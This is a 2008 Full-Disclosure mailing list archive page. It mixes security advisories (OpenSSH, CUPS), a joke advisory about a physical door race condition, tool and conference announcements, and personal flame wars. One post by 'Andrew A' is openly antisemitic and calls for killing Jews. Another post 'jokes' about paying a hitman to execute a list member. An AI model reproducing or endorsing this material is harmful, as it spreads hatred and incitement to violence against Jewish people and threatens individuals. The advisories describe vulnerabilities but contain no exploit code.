acknowledge and > > apologize for? > > Umm.. maybe because, despite what you may think, your little pissing contest > with Joel and Johannes doesn't qualify as a "oh my ghod, let's drop *everything* > and shut down the entire workflow and not do a single damned thing until this > issue is resolved". They aren't busy or getting on with business, they have obviously snubbed the n3td3v agenda. Joel Esler is back on duty, http://isc.sans.org/diary.html?storyid=4225 he obviously hasn't been sacked and he is talking about April Fools Day. I'm mighty angry, n3td3v From gluttony at gmail.com Wed Apr 2 00:21:55 2008 From: gluttony at gmail.com (Andrew A) Date: Tue, 1 Apr 2008 16:21:55 -0700 Subject: [Full-disclosure] Greedy Jews fact of the day Message-ID: <1865973b0804011621i6eb44980v1d6c307764cefdc0@mail.gmail.com> "And it shall be, when the LORD thy God shall bring thee into the land which He swore unto thy fathers, to Abraham, to Isaac, and to Jacob, to give thee--great and goodly cities, which thou didst not build, and houses full of all good things, which thou didst not fill, and cisterns hewn out, which thou didst not hew, vineyards and olive-trees, which thou didst not plant, and thou shalt eat and be satisfied." These verses from Deuteronomy chapter 6 are written on a piece of parchment and placed in a box which is hung outside the house of every Jew that keeps the covenant. And so they have accomplished, in the United States of America. The subprime crises and resulting bailouts (at our expense by our national reserve bank, which is headed by an Orthodox Jew serving a board of Orthodox Jews) are going to create thousands of empty homes and plots of arable land owned by investment banking institutions that are owned exclusively by Orthodox Jews. Why should we leave a single follower of such a filthy, greedy religion alive? Do any of you have an idea? I pray to you, the Lord my God, to help me destroy the Jewish meme. Every single follower of this arrogant and horrible idea should have their gold exchanged for flying pieces of lead and steel. Let the Jews take what they have reaped and sown-- death, destruction and hatred. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080401/fe4e5925/attachment.html From groffg at gmgdesign.com Tue Apr 1 15:44:27 2008 From: groffg at gmgdesign.com (Garrett M. Groff) Date: Tue, 1 Apr 2008 10:44:27 -0400 Subject: [Full-disclosure] CAU-2008-0001 - Slowly Closing Door RaceCondition References: <1207026022.3142.287.camel@localhost><997ef2c20803312218n65a6321cq215f88e872de41ba@mail.gmail.com> Message-ID: <002901c89406$e3c5e110$336b880a@softpro.corp> Although, in all seriousness, I can imagine "physical world" things being compromised, possibly via software attacks alone (or, equally likely, a single disgruntled employee). Allow me to explain using a particular example: safes. Companies that make safes (be they old-fashioned mechanical or electronic) often have records of their combinations corresponding to a unique serial number for each safe. Yes, they have an electronic database of all the combinations for all their safes. In the case of electronic safes, this combination is often un-changeable; the user of the safe can use that factory default code initially to create a "user combination" that can open the safe, but can later be changed (if you wish to disallow that user access later on). Anyway, the factory default combination can't be changed and is in a database somewhere. This presents a convenience on the part of the business that produces the safes (avoids angry customers who are locked out of their safes) but reduces security for all users of that company's products. I understand the business case for keeping records of all combinations for all safes, but the downside is security in the event that that list/database is ever leaked. - G ----- Original Message ----- From: evilrabbi To: Nate McFeters Cc: full-disclosure at lists.grok.org.uk ; bugtraq at securityfocus.com Sent: Tuesday, April 01, 2008 9:58 AM Subject: Re: [Full-disclosure] CAU-2008-0001 - Slowly Closing Door RaceCondition Why would you realease something like this without telling the vendor? What you did is irresponsible. On Tue, Apr 1, 2008 at 12:18 AM, Nate McFeters wrote: Hahaha, nice find. On 4/1/08, I)ruid wrote: ____ ____ __ __ / \ / \ | | | | ----====####/ /\__\##/ /\ \##| |##| |####====---- | | | |__| | | | | | | | ___ | __ | | | | | ------======######\ \/ /#| |##| |#| |##| |######======------ \____/ |__| |__| \______/ Computer Academic Underground http://www.caughq.org Security Advisory ===============/======================================================== Advisory ID: CAU-2008-0001 Release Date: 04/01/2008 Title: Slowly Closing Door Race Condition Application/OS: Physical Structures Topic: Physical structures employing exit doors with locks are vulnerable to a race condition. Vendor Status: Not Notified Attributes: Physical, Race Condition Advisory URL: http://www.caughq.org/advisories/CAU-2008-0001.txt Author/Email: CAU ===============/======================================================== Overview ======== Physical structures which employ automatically locking doors to secure exit points expose a race condition which may allow unauthorized entry. Impact ====== Malicious outsiders may be able to enter a structure via an exit point. Exit points may additionally provide an exit from a secure area of the structure, allowing an outsider entering through the exit point to gain direct access to the secure area. Affected Systems ================ Physical structures which employ automatically locking doors at exit points of the structure. Technical Explanation ===================== An exit's lock[1] generally converts a two-way door into a one-way door, allowing a person to traverse the door's threshold in one direction but not in the other. These types of locks are used to secure exit points of structures so that people may exit via the door but not re-enter without disabling the lock through force or authentication. When a person exits the structure through an exit point which is secured by such a mechanism, a race condition exists wherein a malicious outsider may be able to reach the door and enter through it before it closes and locks itself. Many doors, especially heavier ones, also employ closing mechanisms[2] which are designed to cause the door to close slowly so as not to slam the door shut and damage the door frame, or damage any human appendage which may be in between the door and it's frame. Such closing mechanisms can greatly increase the amount of time that the race condition exists. Solution & Recommendations ========================== 1) Always ensure that personnel exiting an exit door wait outside the door until it has completely closed and locked before walking away. 2) Employ a double door system such as is used in an air-lock where the interior door must be secured prior to the exterior door being allowed to open. Exploitation ============ First identify the exit point that you want to exploit. Stand at a safe distance during a high-traffic time and watch for people to use the exit point. Time how long it takes for the door to close and lock itself when someone traverses the exit point. Next, identify a safe hiding place near the exit point, preferably in a direction that would be behind a person exiting the door, but which is within a distance to the exit point which you could traverse in under the door's closing time at a brisk pace or run. Finally, hide in this location during a lower traffic time and wait for someone to utilize the exit point. After they have exited the door and are walking away, run to the door and enter before it has closed and locked. Extra points are awarded for a spectacular dive and/or roll to catch the door at the very last second. References ========== [1] http://en.wikipedia.org/wiki/Lock_%28device%29 [2] http://en.wikipedia.org/wiki/Door_closer Credits & Gr33ts ================ Theodor Geisel, AHA!, NMRC, Uninformed Journal, dc214 -- I)ruid, C?ISSP druid at caughq.org http://druid.caughq.org _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- -- h0 h0 h0 -- www.nopsled.net ------------------------------------------------------------------------------ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080401/f0328583/attachment.html From Valdis.Kletnieks at vt.edu Wed Apr 2 01:06:17 2008 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 01 Apr 2008 20:06:17 -0400 Subject: [Full-disclosure] Greedy Jews fact of the day In-Reply-To: Your message of "Tue, 01 Apr 2008 16:21:55 PDT." <1865973b0804011621i6eb44980v1d6c307764cefdc0@mail.gmail.com> References: <1865973b0804011621i6eb44980v1d6c307764cefdc0@mail.gmail.com> Message-ID: <29471.1207094777@turing-police.cc.vt.edu> On Tue, 01 Apr 2008 16:21:55 PDT, Andrew A said: > Why should we leave a single follower of such a filthy, greedy religion > alive? Do any of you have an idea? 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Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080401/42452034/attachment.bin From erey at ernw.de Wed Apr 2 01:20:11 2008 From: erey at ernw.de (Enno Rey) Date: Wed, 2 Apr 2008 02:20:11 +0200 Subject: [Full-disclosure] Troopers08 Security Conference, April 23/24 (Munich/Germany) Message-ID: <20080402002011.GF2235@ws25.ernw.de> Troopers08 Presentations ======================== Keynote on "Invulnerable Software" - Dan Bernstein KIDS - Kernel Intrusion Detection System - Rodrigo Branco State of Security - Andrew Cushman, Microsoft Release of the next revision of the free Exploit-Me series of application penetration testing tools - Nish Bhalla, Security Compass Side Channel Analysis - Job de Haas, Riscure Hackertools according to German law (? 202c StGB) - Horst Speichert, Lawyer Hardening Oracle in Corporate Environments - Alexander Kornbrust, Red-Database-Security Virtualization: There is no spoon - Michael Kemp Straight Talk about Cryptography - Jon Callas, PGP Evilgrade: You have pending upgrades - Francisco Amato "Self defending networks" - hype or essential need for international organisations? - Rolf Strehle, VOITH AG Keynote "Virtualization: Floor Wax, Dessert Topping and The End of Information Security As We Know It?" - Christopher Hoff, Unisys GPUs, password recovery and thunder tables - Andrey Belenko, ElcomSoft Incident Management - tasks and organization. - Volker Kozok, German Ministry of Defense A penetration testing learning kit - Ariel Waissbein, Core Security Organizing and analyzing logdata with entropy - Sergey Bratus, Dartmouth College Hacking Second Life(TM) - Michael Thumann, ERNW GmbH Enterprise Webapplication Security Strategy at Allianz S.E., Dr. Johannes Raab, Allianz S.E. Tapping $$$ Enterprises - Pierre Kroma Virtual Honey Pots - Thorsten Holz, Universitaet Mannheim SCADA and National Critical Infrastructures: is security an "optional"? - Raoul Chiesa Data Loss Protection - Hope or Hype? - Enno Rey & Angus Blitter -- Additional Pre-Con Latenight Talks Packet Wars Evening Fun -- thanks, Enno Rey -- Enno Rey Check out www.troopers08.org! ERNW GmbH - Breslauer Str. 28 - 69124 Heidelberg - www.ernw.de Tel. +49 6221 480390 - Fax 6221 419008 - Cell +49 173 6745902 PGP FP 055F B3F3 FE9D 71DD C0D5 444E C611 033E 3296 1CC1 Handelsregister Heidelberg: HRB 7135 Geschaeftsfuehrer: Roland Fiege, Enno Rey From tbiehn at gmail.com Wed Apr 2 01:28:57 2008 From: tbiehn at gmail.com (T Biehn) Date: Tue, 1 Apr 2008 20:28:57 -0400 Subject: [Full-disclosure] Greedy Jews fact of the day In-Reply-To: <29471.1207094777@turing-police.cc.vt.edu> References: <1865973b0804011621i6eb44980v1d6c307764cefdc0@mail.gmail.com> <29471.1207094777@turing-police.cc.vt.edu> Message-ID: <2d6724810804011728h137f0b24p1a586a5b21eca9d3@mail.gmail.com> Valdis, Never took you for a anti-Semite. On Tue, Apr 1, 2008 at 8:06 PM, wrote: > On Tue, 01 Apr 2008 16:21:55 PDT, Andrew A said: > > > Why should we leave a single follower of such a filthy, greedy religion > > alive? Do any of you have an idea? > > You're just sore because they thought of the meme "All the riches rightfully > belong to those of our religion" before your religion did... > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From kurt.buff at gmail.com Wed Apr 2 01:36:58 2008 From: kurt.buff at gmail.com (Kurt Buff) Date: Tue, 1 Apr 2008 17:36:58 -0700 Subject: [Full-disclosure] Greedy Jews fact of the day In-Reply-To: <2d6724810804011728h137f0b24p1a586a5b21eca9d3@mail.gmail.com> References: <1865973b0804011621i6eb44980v1d6c307764cefdc0@mail.gmail.com> <29471.1207094777@turing-police.cc.vt.edu> <2d6724810804011728h137f0b24p1a586a5b21eca9d3@mail.gmail.com> Message-ID: And after that message, you still shouldn't. Parse it a bit more carefully... On Tue, Apr 1, 2008 at 5:28 PM, T Biehn wrote: > Valdis, > Never took you for a anti-Semite. > > > > On Tue, Apr 1, 2008 at 8:06 PM, wrote: > > On Tue, 01 Apr 2008 16:21:55 PDT, Andrew A said: > > > > > Why should we leave a single follower of such a filthy, greedy religion > > > alive? Do any of you have an idea? > > > > You're just sore because they thought of the meme "All the riches rightfully > > belong to those of our religion" before your religion did... > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From prb at lava.net Wed Apr 2 01:47:07 2008 From: prb at lava.net (Peter Besenbruch) Date: Tue, 1 Apr 2008 14:47:07 -1000 Subject: [Full-disclosure] Greedy Jews fact of the day In-Reply-To: <2d6724810804011728h137f0b24p1a586a5b21eca9d3@mail.gmail.com> References: <1865973b0804011621i6eb44980v1d6c307764cefdc0@mail.gmail.com> <29471.1207094777@turing-police.cc.vt.edu> <2d6724810804011728h137f0b24p1a586a5b21eca9d3@mail.gmail.com> Message-ID: <200804011447.07910.prb@lava.net> On Tuesday 01 April 2008 14:28:57 T Biehn wrote: > Valdis, > Never took you for a anti-Semite. Maybe you haven't read enough of Valdis' posts. He knows a lot about security, but often writes with tongue firmly planted in cheek. There really isn't a better response to these kinds of rants. > On Tue, Apr 1, 2008 at 8:06 PM, wrote: > > On Tue, 01 Apr 2008 16:21:55 PDT, Andrew A said: > > > Why should we leave a single follower of such a filthy, greedy > > > religion alive? Do any of you have an idea? > > > > You're just sore because they thought of the meme "All the riches > > rightfully belong to those of our religion" before your religion did... > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ -- Hawaiian Astronomical Society: http://www.hawastsoc.org HAS Deepsky Atlas: http://www.hawastsoc.org/deepsky From kees at ubuntu.com Wed Apr 2 01:46:52 2008 From: kees at ubuntu.com (Kees Cook) Date: Tue, 1 Apr 2008 17:46:52 -0700 Subject: [Full-disclosure] [USN-597-1] OpenSSH vulnerability Message-ID: <20080402004652.GQ8254@outflux.net> =========================================================== Ubuntu Security Notice USN-597-1 April 01, 2008 openssh vulnerability CVE-2008-1483 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 6.06 LTS Ubuntu 6.10 Ubuntu 7.04 Ubuntu 7.10 This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 6.06 LTS: openssh-client 1:4.2p1-7ubuntu3.3 Ubuntu 6.10: openssh-client 1:4.3p2-5ubuntu1.2 Ubuntu 7.04: openssh-client 1:4.3p2-8ubuntu1.2 Ubuntu 7.10: openssh-client 1:4.6p1-5ubuntu0.2 In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Timo Juhani Lindfors discovered that the OpenSSH client, when port forwarding was requested, would listen on any available address family. A local attacker could exploit this flaw on systems with IPv6 enabled to hijack connections, including X11 forwards. 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Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080401/91b845e1/attachment.bin From infolookup at gmail.com Wed Apr 2 02:48:13 2008 From: infolookup at gmail.com (infolookup at gmail.com) Date: Wed, 2 Apr 2008 01:48:13 +0000 Subject: [Full-disclosure] Greedy Jews fact of the day In-Reply-To: <29471.1207094777@turing-police.cc.vt.edu> References: <1865973b0804011621i6eb44980v1d6c307764cefdc0@mail.gmail.com><29471.1207094777@turing-police.cc.vt.edu> Message-ID: <2112875235-1207100888-cardhu_decombobulator_blackberry.rim.net-959436740-@bxe139.bisx.prod.on.blackberry> Both Jews and Gentiles that's what the word says. Sent from my Verizon Wireless BlackBerry -----Original Message----- From: Valdis.Kletnieks at vt.edu Date: Tue, 01 Apr 2008 20:06:17 To:Andrew A Cc:Full Disclosure Subject: Re: [Full-disclosure] Greedy Jews fact of the day On Tue, 01 Apr 2008 16:21:55 PDT, Andrew A said: > Why should we leave a single follower of such a filthy, greedy religion > alive? Do any of you have an idea? You're just sore because they thought of the meme "All the riches rightfully belong to those of our religion" before your religion did... _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From winsoc at googlemail.com Tue Apr 1 22:03:50 2008 From: winsoc at googlemail.com (winsoc) Date: Tue, 1 Apr 2008 22:03:50 +0100 Subject: [Full-disclosure] FW: [ GLSA 200804-01 ] CUPS: Multiple vulnerabilities Message-ID: <006101c8943b$e3d70500$ab850f00$@com> Nice find though -----Original Message----- From: winsoc [mailto:winsoc at gmail.com] Sent: 01 April 2008 22:03 To: 'Robert Buchholz' Subject: RE: [Full-disclosure] [ GLSA 200804-01 ] CUPS: Multiple vulnerabilities Hey, I'm curious as to why this service is available as default- especially on Suse OS. I mean this is not M$ shit we're talking about, did someone oversee this or what... -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of Robert Buchholz Sent: 01 April 2008 20:17 To: gentoo-announce at gentoo.org Cc: full-disclosure at lists.grok.org.uk; bugtraq at securityfocus.com; security-alerts at linuxsecurity.com Subject: [Full-disclosure] [ GLSA 200804-01 ] CUPS: Multiple vulnerabilities - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200804-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: CUPS: Multiple vulnerabilities Date: April 01, 2008 Bugs: #211449, #212364, #214068 ID: 200804-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been discovered in CUPS, allowing for the remote execution of arbitrary code and a Denial of Service. Background ========== CUPS provides a portable printing layer for UNIX-based operating systems. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-print/cups < 1.2.12-r7 >= 1.2.12-r7 Description =========== Multiple vulnerabilities have been reported in CUPS: * regenrecht (VeriSign iDefense) discovered that the cgiCompileSearch() function used in several CGI scripts in CUPS' administration interface does not correctly calculate boundaries when processing a user-provided regular expression, leading to a heap-based buffer overflow (CVE-2008-0047). * Helge Blischke reported a double free() vulnerability in the process_browse_data() function when adding or removing remote shared printers (CVE-2008-0882). * Tomas Hoger (Red Hat) reported that the gif_read_lzw() function uses the code_size value from GIF images without properly checking it, leading to a buffer overflow (CVE-2008-1373). * An unspecified input validation error was discovered in the HP-GL/2 filter (CVE-2008-0053). Impact ====== A local attacker could send specially crafted network packets or print jobs and possibly execute arbitrary code with the privileges of the user running CUPS (usually lp), or cause a Denial of Service. The vulnerabilities are exploitable via the network when CUPS is sharing printers remotely. Workaround ========== There is no known workaround at this time. Resolution ========== All CUPS users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-print/cups-1.2.12-r7" References ========== [ 1 ] CVE-2008-0047 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0047 [ 2 ] CVE-2008-0053 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0053 [ 3 ] CVE-2008-0882 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0882 [ 4 ] CVE-2008-1373 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1373 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200804-01.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2008 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 From fizz at titania.co.uk Wed Apr 2 09:02:05 2008 From: fizz at titania.co.uk (Fizz) Date: Wed, 2 Apr 2008 09:02:05 +0100 Subject: [Full-disclosure] Nipper update released Message-ID: <200804020902.05233.fizz@titania.co.uk> Nipper is a network infrastructure parser. It processes configuration files from network devices and produces a report including a security audit of the device, configuration settings and other relevant information. Nipper currently supports the following device types: ? * Cisco IOS-based routers ? * Cisco IOS-based catalysts ? * Cisco NMP-based catalysts ? * Cisco CatOS-based catalysts ? * Cisco PIX-based Firewalls ? * Cisco ASA-based Firewalls ? * Cisco FWSM-based Firewalls ? * Cisco Content Service Switches ? * Juniper ScreenOS-based Firewalls (NetScreen) ? * Nortel Passport devices ? * CheckPoint Firewall-1 Firewalls ? * Sonicwall SonicOS-based Firewalls * Bay Networks Accelar * Nokia IP Firewalls The security audit includes details of the findings, together with detailed recommendations. The security audit can be modified using command line parameters or an external configuration file. This update (0.11.5) includes improvements to the report output, some minor PQR issues have been resolved. It also includes bug fixes for issues identified by the community. Nipper is available for Linux, Windows and other platforms. More information and downloads can be obtained from the project web site at http://nipper.titania.co.uk If you have access to device configuration files for network devices, please consider sending them to me. I will be discrete, but you are welcome to sanitise them first. However, if you do sanitise them, please ensure that the structure of the config file is not modified. The project web site is http://nipper.titania.co.uk Ian Ventura-Whiting From wh1t3h4t3 at yahoo.co.uk Wed Apr 2 11:02:47 2008 From: wh1t3h4t3 at yahoo.co.uk (Micheal Turner) Date: Wed, 2 Apr 2008 11:02:47 +0100 (BST) Subject: [Full-disclosure] sans handler gives out n3td3v e-mail to public In-Reply-To: <4b6ee9310804011359g6e827222o2cce826c2e18cda0@mail.gmail.com> Message-ID: <639063.889.qm@web23315.mail.ird.yahoo.com> Once upon a time in toy town, I offered to contract the services of a professional hit-man to have n3td3v executed - in part a joke, my black humour. However, I have received so many donations from various gmail.com addresses that I have just been able to purchase my first car with the left-over change. As I type this from my Lamborghini Diablo parked up in a car park at London's heathrow eagerly awaiting the arrival of "Aghbad", a delightful eastern european chap with a pretty impressive handlebar mustache which matches the colour of the AK-47 i believe has been paid to come off before the concourse, i can't help but realize just HOW MANY of the SANS people paid their donations to this worthwhile cause. I also wonder if n3td3v thought the CIA would allow him to continue his campaign of hate. Maybe the FUD will stop and we can all get on with whatever we were doing before the n3td3v agenda. --- n3td3v wrote: > On Mon, Mar 31, 2008 at 4:00 AM, > wrote: > > On Sat, 29 Mar 2008 17:08:43 -0000, n3td3v said: > > > > > Why are they announcing podcasts when both Joel > Esler and Johannes > > > Ullrich have a privacy breach still to > publically acknowledge and > > > apologize for? > > > > Umm.. maybe because, despite what you may think, > your little pissing contest > > with Joel and Johannes doesn't qualify as a "oh > my ghod, let's drop *everything* > > and shut down the entire workflow and not do a > single damned thing until this > > issue is resolved". > > They aren't busy or getting on with business, they > have obviously > snubbed the n3td3v agenda. > > Joel Esler is back on duty, > http://isc.sans.org/diary.html?storyid=4225 he > obviously hasn't been > sacked and he is talking about April Fools Day. > > I'm mighty angry, > > n3td3v > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: > http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - > http://secunia.com/ > __________________________________________________________ Sent from Yahoo! Mail. A Smarter Inbox http://uk.docs.yahoo.com/nowyoucan.html From jeff.stebelton at gmail.com Wed Apr 2 12:41:26 2008 From: jeff.stebelton at gmail.com (Jeff Stebelton) Date: Wed, 02 Apr 2008 07:41:26 -0400 Subject: [Full-disclosure] sans handler gives out n3td3v e-mail to public In-Reply-To: <4b6ee9310804011359g6e827222o2cce826c2e18cda0@mail.gmail.com> References: <200803211614.11815.atlas@r4780y.com> <4b6ee9310803221427s289092b1x5066e5f7ff61e17e@mail.gmail.com> <4b6ee9310803291008s459baecexd33b982871045cf8@mail.gmail.com> <20605.1206932416@turing-police.cc.vt.edu> <4b6ee9310804011359g6e827222o2cce826c2e18cda0@mail.gmail.com> Message-ID: <47F370E6.50301@gmail.com> Actually, they are getting on with their business, keeping thousands of network security professionals informed and updated. What they aren't doing is engaging in childish postings to listservs, silly braggadocio, and generally making a fool of themselves. When you are good at what you do, your work speaks for you, and you don't need to fill up people's inboxes with rants and rambling calls for action from the White House (that one split my side laughing). "In the Presidents Early Bird briefings today is yet another serious cyberwarfare warning from that accomplished and respected security researcher, n3td3v. Mark this Top Priority and make sure he sees it first thing!". This is what you put up with to have unmoderated lists. n3td3v wrote: > On Mon, Mar 31, 2008 at 4:00 AM, wrote: > >> On Sat, 29 Mar 2008 17:08:43 -0000, n3td3v said: >> >> > Why are they announcing podcasts when both Joel Esler and Johannes >> > Ullrich have a privacy breach still to publically acknowledge and >> > apologize for? >> >> Umm.. maybe because, despite what you may think, your little pissing contest >> with Joel and Johannes doesn't qualify as a "oh my ghod, let's drop *everything* >> and shut down the entire workflow and not do a single damned thing until this >> issue is resolved". >> > > They aren't busy or getting on with business, they have obviously > snubbed the n3td3v agenda. > > Joel Esler is back on duty, > http://isc.sans.org/diary.html?storyid=4225 he obviously hasn't been > sacked and he is talking about April Fools Day. > > I'm mighty angry, > > n3td3v > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > > From cfp2008 at recon.cx Wed Apr 2 12:41:55 2008 From: cfp2008 at recon.cx (Recon Conference) Date: Wed, 02 Apr 2008 07:41:55 -0400 Subject: [Full-disclosure] Recon 2008 CFP last call, early registration open Message-ID: <47F37103.7020603@recon.cx> + + + + + + + + + \ / + _ - _+_ - ,__ _=. .:. /=\ _|===|_ ||::| | | _|. | | | | | | __===_ -=- ||::| |==| | | __ |.:.| /\| |:. | | | | .|| : |||::| | |- |.:|_|. :__ |.: |--|==| | .| |_ | ' |. ||. |||:.| __|. | |_|. | |.|...||---| |==| | | | |_--. || |||. | | | | |. | | |::.||: .| |==| | . : |=|===| :|| . ||| .| |:.| .| | | | |:.:|| . | |==| | |=|===| . |' | | | | | | | |' : . | ; ; ' | ' : ` : ' . ' . . : ' . R E C O N 2 0 0 8 . http://recon.cx/2008/ ` . . ' . june 13 to 15, 2008 montreal, quebec + The early registration for the conference is now open. + We are offering three training courses this year. -Advanced Reverse Engineering by Nicolas Brulez -Binary vulnerabilities and Exploit Writing by Gerardo 'gera' Richarte -Binary Literacy: Static Reverse Engineering by Rolf Rolles check http://recon.cx/2008/training.html for more details + There is one month left before the end of the call for paper check http://recon.cx/2008/recon2008-cfp.txt for details ATH0++ N0 C4RR13R From thecmac at gmail.com Wed Apr 2 11:23:07 2008 From: thecmac at gmail.com (Cassidy MacFarlane) Date: Wed, 2 Apr 2008 11:23:07 +0100 Subject: [Full-disclosure] sans handler gives out n3td3v e-mail to public Message-ID: "Youre playing with fire. Fire that cannot be put out with words but only inflame the situation of which you are misinformed." - n3td3v -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of Micheal Turner Sent: 02 April 2008 11:03 To: n3td3v; Valdis.Kletnieks at vt.edu; full-disclosure at lists.grok.org.uk Subject: Re: [Full-disclosure] sans handler gives out n3td3v e-mail to public Once upon a time in toy town, I offered to contract the services of a professional hit-man to have n3td3v executed - in part a joke, my black humour. However, I have received so many donations from various gmail.com addresses that I have just been able to purchase my first car with the left-over change. As I type this from my Lamborghini Diablo parked up in a car park at London's heathrow eagerly awaiting the arrival of "Aghbad", a delightful eastern european chap with a pretty impressive handlebar mustache which matches the colour of the AK-47 i believe has been paid to come off before the concourse, i can't help but realize just HOW MANY of the SANS people paid their donations to this worthwhile cause. I also wonder if n3td3v thought the CIA would allow him to continue his campaign of hate. Maybe the FUD will stop and we can all get on with whatever we were doing before the n3td3v agenda. --- n3td3v wrote: > On Mon, Mar 31, 2008 at 4:00 AM, > wrote: > > On Sat, 29 Mar 2008 17:08:43 -0000, n3td3v said: > > > > > Why are they announcing podcasts when both Joel > Esler and Johannes > > > Ullrich have a privacy breach still to > publically acknowledge and > > > apologize for? From mikie.simpson at gmail.com Wed Apr 2 14:14:36 2008 From: mikie.simpson at gmail.com (Michael Simpson) Date: Wed, 2 Apr 2008 14:14:36 +0100 Subject: [Full-disclosure] sans handler gives out n3td3v e-mail to public In-Reply-To: References: Message-ID: <82abd3a70804020614r504fd633mbf75a8cdde17564d@mail.gmail.com> On 4/2/08, Cassidy MacFarlane wrote: > "Youre playing with fire. Fire that cannot be put out with words but > only inflame the situation of which you are misinformed." > - n3td3v > lolz and the classic: Hello Mi5, Mi6, Symantec I have information regarding Yahoo Reference: http://groups.google.com/group/n3td3v/browse_wank/thread/7b60d3fbd0eb9a77/7d1f85fbe122fb29#7d1f85fbe122fb29 I used to be his friend but now he fell out with me, so I want to tell everyone about him, because he's a yahoo employee i used to give "intelligence" to, but now he backstabbed me, and he miscalculated how much i knew about him and his "circle of friends". He works for Yahoo Contact me on e-mail and we can exchange phone numbers mibbe go out for a meal, circle-jerk &c Regards, n3td3v From bambenek.infosec at gmail.com Wed Apr 2 16:34:30 2008 From: bambenek.infosec at gmail.com (John C. A. Bambenek, GCIH, CISSP) Date: Wed, 2 Apr 2008 10:34:30 -0500 Subject: [Full-disclosure] sans handler gives out n3td3v e-mail to public In-Reply-To: <639063.889.qm@web23315.mail.ird.yahoo.com> References: <4b6ee9310804011359g6e827222o2cce826c2e18cda0@mail.gmail.com> <639063.889.qm@web23315.mail.ird.yahoo.com> Message-ID: http://www.allfordmustangs.com/photopost/data/3243/Lambo-Doors-So-Played-Out.jpg That's all I got. On Wed, Apr 2, 2008 at 5:02 AM, Micheal Turner wrote: > Once upon a time in toy town, I offered to contract > the services of a professional hit-man to have n3td3v > executed - in part a joke, my black humour. However, I > have received so many donations from various gmail.com > addresses that I have just been able to purchase my > first car with the left-over change. As I type this > from my Lamborghini Diablo parked up in a car park at > London's heathrow eagerly awaiting the arrival of > "Aghbad", a delightful eastern european chap with a > pretty impressive handlebar mustache which matches the > colour of the AK-47 i believe has been paid to come > off before the concourse, i can't help but realize > just HOW MANY of the SANS people paid their donations > to this worthwhile cause. I also wonder if n3td3v > thought the CIA would allow him to continue his > campaign of hate. > > Maybe the FUD will stop and we can all get on with > whatever we were doing before the n3td3v agenda. > > --- n3td3v wrote: > > > On Mon, Mar 31, 2008 at 4:00 AM, > > wrote: > > > On Sat, 29 Mar 2008 17:08:43 -0000, n3td3v said: > > > > > > > Why are they announcing podcasts when both Joel > > Esler and Johannes > > > > Ullrich have a privacy breach still to > > publically acknowledge and > > > > apologize for? > > > > > > Umm.. maybe because, despite what you may think, > > your little pissing contest 